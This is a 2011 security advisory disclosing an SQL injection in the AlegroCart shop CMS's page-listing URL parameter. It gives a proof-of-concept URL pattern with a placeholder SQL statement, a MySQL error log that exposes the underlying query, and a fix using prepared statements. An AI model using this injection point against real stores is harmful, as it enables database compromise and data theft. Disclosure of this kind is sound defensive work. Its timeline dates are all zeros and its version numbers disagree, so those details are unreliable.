Document Title:
===============
AlegroCart 1.2.6 - SQL Injection Vulnerability



Release Date:
=============
2011-07-19


Vulnerability Laboratory ID (VL-ID):
====================================
3


Product & Service Introduction:
===============================
AlegroCart v1.2.1 is a shop cms what is based on the OpenCart shop engine.

* MVC Framework
* Modular Design
* Supports Custom Addon Modules
* Multi-lingual Capability
* Worldwide Country Support
* Countries and States can be enabled or disabled
* Geo Zones for Tax & Shipping
* Multiple Tax & Weight Classes
* One-Click Currency Updater for all currencies enabled
* Automatic Currency update when alternate currency selected.
* Template system allows HTML and PHP code.
* Multiple Templates Supported.
* Separate selectable Styles
* NEW Selectable Color Styles
* Modular Design Temples allow reuse of tpl modules
* Maintenance Mode
* SSL Support
* Stock Level Control
* Ajax Add-to-Cart with Image Animation to Cart
* Product Pricing with Options Updated in real time..
* Dynamic Category Menu, CSS and Ajax Driven.
* Product Downloads
* HomePage Module: display flash or image files and optional text files.
* Contains default meta tag information.
* Serialized input forms to enhance security. 


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovers a SQL Injection Vulnerability on AlegroCart what is based on OpenCart.


Vulnerability Disclosure Timeline:
==================================
0000-00-00: Verified by Vulnerability-Lab
0000-00-00: Secure Vendor Notification
0000-00-00: Vendor Reply/Feedback
0000-00-00: Fix/Patch Vulnerability
0000-00-00: Discovery by Vulnerability-Lab


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A SQL Injection vulnerability is detected on AlegroCart v1.2.1 on the page listing. An attacker can inject own sql statements over a not 
secure parsed request. The PageListing allows to compromise the application dbms via a simple sql injection attack.


			[+] Page Listing


Proof of Concept (PoC):
=======================
This vulnerability can be exploited by remote attackers ...

File:		any-article.html
Path:		/page/-1%27
Example:	http://[SERVER]/[PATH]/[ANYFILE].html/page/-[SQL-Statement]
References:	http://www.xxx.com/demo/hitachi.html/page/-[SQL-Injection]

--- Error SQL Log ---
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-8, 4' at line 1
Error No: 1064 select * from product p left join product_description pd on (p.product_id = pd.product_id) left join image i on (p.image_id = i.image_id) 
where pd.language_id = '1' and p.manufacturer_id = '8' and p.date_available < now() and p.status = '1' order by pd.name asc limit -8, 4



Solution - Fix & Patch:
=======================
Use a bound parameter via prepared statement to fix the security issue on ths shopping cart application.


Security Risk:
==============
The security risk  of the vulnerability is estimated as high because of pre-auth remote attack technic.


Credits & Authors:
==================
Vulnerability Research Laboratory


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=========================
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